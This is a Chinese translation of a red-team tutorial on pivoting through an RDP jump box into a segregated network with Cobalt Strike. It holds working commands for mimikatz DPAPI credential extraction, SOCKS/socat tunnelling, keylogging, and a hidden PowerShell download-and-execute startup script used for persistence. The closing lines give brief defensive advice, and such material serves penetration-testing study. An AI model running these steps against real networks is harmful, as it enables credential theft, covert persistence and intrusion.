【技术分享】如何利用RDP跳转主机进入隔离网络
作者:admin | 时间:2017-9-7 01:35:19 | 分类:黑客技术 隐藏侧边栏展开侧边栏
一、前言
本文中我们介绍了如何使用Cobalt Strike,通过RDP跳转主机(Jump Box)进入隔离或受保护网络中。
网络拓扑如下所示:
在这个拓扑环境中:
LAN为扁平化结构,由工作站及服务器组成。
包括RDP跳转节点在内的某些服务器无法外连到互联网。
工作站可以通过代理访问互联网。
RDP跳转主机是LAN中唯一可以与“秘密网络(Secret Network)”通信的主机,通信端口仅限于3389端口。
这两个网络处于不同的森林(forest)中,分别为rasta-lan.local以及secret-lan.local。
LAN的地址为10.0.0.0/16,秘密网络地址为172.16.0.0/24。
在这种场景下,攻击者的任务是在攻击主机(Windows 10)上打开远程桌面连接应用,通过RDP直接登录到秘密网络中的目标服务器。
二、突破口
我们已拿下了名为rasta_mouse的一名用户,该用户为普通域用户(Domain Users)。我们可以查询目标服务器,探测哪些用户/组可以使用RDP协议。
1
2
3
4
5
6
|
beacon> powerpick Get-NetLocalGroup -ComputerName RDP01 -GroupName "Remote Desktop Users"
ComputerName : RDP01
AccountName : rasta-lan.local/Jump Box Users
IsDomain : True
IsGroup : True
SID : S-1-5-21-2294392343-2072776990-791666979-1106
|
使用如下命令查询哪些用户属于“Jump Box Users”组:
1
2
3
4
5
6
7
8
|
beacon> powerpick Get-NetGroupMember -GroupName "Jump Box Users"
GroupDomain : rasta-lan.local
GroupName : Jump Box Users
MemberDomain : rasta-lan.local
MemberName : rastamouseadm
MemberSID : S-1-5-21-2294392343-2072776990-791666979-1107
IsGroup : False
MemberDN : CN=Rasta Mouse (Admin),CN=Users,DC=rasta-lan,DC=local
|
从结果中可知,rastamouse有两个独立的账户,这表明我们需要获取rastamouse_adm的凭据才能继续攻击。下面我会介绍两种可能行之有效的方法。
三、Credential Manager & DPAPI
如果目标用户选择了保存RDP凭据,并且我们也具备SeDebugPrivilege权限,这是提取用户凭据最为理想的场景。
我们可以在凭据管理器(Credential Manager)界面中查看Windows凭据,如下所示:
当然我们也可以使用命令行来查询:
1
2
3
|
beacon> shell vaultcmd /listcreds : "Windows Credentials" /all
Credentials in vault: Windows Credentials
|
具体的凭据信息保存在用户目录中:
1
|
C:\Users\<username>\AppData\Local\Microsoft\Credentials\*
|
可以使用如下命令进行查询:
1
2
3
4
|
beacon> powerpick Get-ChildItem C:\Users\rasta_mouse\AppData\Local\Microsoft\Credentials\ -Force
Directory: C:\Users\rasta_mouse\AppData\Local\Microsoft\Credentials
Mode LastWriteTime Length Name
-a -hs- 02/09/2017 13:37 412 2647629F5AA74CD934ECD2F88D64ECD0 -a-hs- 30/08/2017 19:28 11204 DFBE70A7E5CC19A398EBF1B96859CE5D
|
现在,我们可以具体分析一下C:\Users\rasta_mouse\AppData\Local\Microsoft\Credentials\2647629F5AA74CD934ECD2F88D64ECD0这个文件:
1
2
3
|
beacon> mimikatz dpapi::cred / in :C:\Users\rasta_mouse\AppData\Local\Microsoft\Credentials\2647629F5AA74CD934ECD2F88D64ECD0
|
其中我们需要注意两个字段:pbData以及guidMasterKey。pbData是我们需要解密的字段,而guidMasterKey是解密时要用到的关键值。
LSASS中很有可能在缓存中保存了这个关键值,因为我们具有SeDebugPrivilege权限,我们可以提升权限,获取相应信息。
1
|
beacon> mimikatz !sekurlsa::dpapi
|
在一大堆输出结果中,我们找到了想要的GUID以及MasterKey值:
1
|
|
如果我们在交互模式下运行mimikatz,程序会将这些值自动添加到dpapi缓存中,当我们准备解密凭据时,mimikatz就会使用这些值。但如果我们通过Cobalt Strike运行mimikatz,我们无法保持在同一个会话中(或者已经有人找到保持会话的方法,但我还不知道),因此,我们需要手动使用这个值。
1
2
3
|
|
四、RDP01
现在,我们可以使用这些凭据通过RDP登录到跳转主机,提醒一下,我们的目标是直接在攻击主机上完成这个攻击过程。因此,我们先要在当前Beacon上搭建一个SOCKS代理服务。
1
2
|
beacon> socks 1337
[+] started SOCKS4a server on: 1337
|
通过SSH登录Teamserver,如果尚未安装socat以及proxychains,就安装这两个工具。
修改proxychains.conf配置文件,使用127.0.0.1地址以及1337端口。
通过proxychains运行socat:
1
|
proxychains socat TCP4-LISTEN:3389,fork TCP4:10.0.0.100:3389
|
这样一来,Teamserver会在3389端口上监听,所有访问该端口的流量会经过代理,被重定向10.0.0.100的3389端口。
注意:Beacon的SOCKS代理没有使用验证信息,因此请确保Teamserver的防火墙不会将相应端口暴露在整个互联网上。
现在,我们可以使用RDP协议访问Teamserver的IP地址,经过跳转后,最终登录的是跳转主机。
五、持久化
现在我们已经能够访问这台服务器,我们需要设置持久化机制,以便“真正的”rastamouseadm用户登录时,我们能拿到一个SMB Beacon。
简单的操作步骤如下所示:
创建一个stageless类型的PowerShell SMB Beacon载荷。
在Teamserver上的/smb路径托管这个payload。
在当前beacon中创建一个反弹型端口转发:
1
|
rportfwd 8080 178.62.56.134 80
|
使用如下内容创建启动脚本,脚本路径为C:\Users\rasta_mouse_adm\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\startup.bat
1
|
powershell.exe -nop -w hidden -c "iex ((new-object net.webclient).downloadstring('http://10.0.1.200:8080/smb'))"
|
注销RDP会话
备注:如果你可以在该服务器上提升权限、运行或注入到SYSTEM进程中,那么你不必依赖RDP会话来运行Beacon。
当我们的目标用户登录时,我们可以在日志中看到命中信息:
1
|
09/02 14:19:45 visit from: 178.62.56.134 Request: GET /smb page Serves /opt/cobaltstrike/uploads/beacon.ps1 null
|
现在我们可以link到这个beacon。
1
2
|
beacon> link 10.0.0.100
[+] established link to child beacon: 10.0.0.100
|
六、跳转到秘密网络
以跳转主机为据点,我们需要掌握进入秘密网络的具体方法。
其实我们可以用键盘记录器窃取所需的信息,如下所示:
1
2
3
4
5
6
7
|
beacon> keylogger 1816 x64
Start menu
remo
Remote Desktop Connection
172.16.0.10
Windows Security
SECRET\rasta_mouse[tab]Passw0rd!
|
接下来执行如下操作:
停止Beacon上的SOCKS代理服务,同时也停止Teamserver上的proxychains、socat。
在跳转主机上开启新的SOCKS代理服务(可以使用相同的端口)。
在Teamserver上,运行
1
|
proxychains socat TCP4-LISTEN:3389,fork TCP4:172.16.0.10:3389
|
命令。
与前面的操作一样,使用RDP访问Teamserver IP,最终我们就可以登录到秘密网络中。
七、总结
简而言之,永远不要保存RDP凭据信息,始终在跳转主机上使用双因素认证,DPAPI并不能提供足够的防护。
本文由 安全客 翻译,作者:興趣使然的小胃
原文链接:https://rastamouse.me/2017/08/jumping-network-segregation-with-rdp/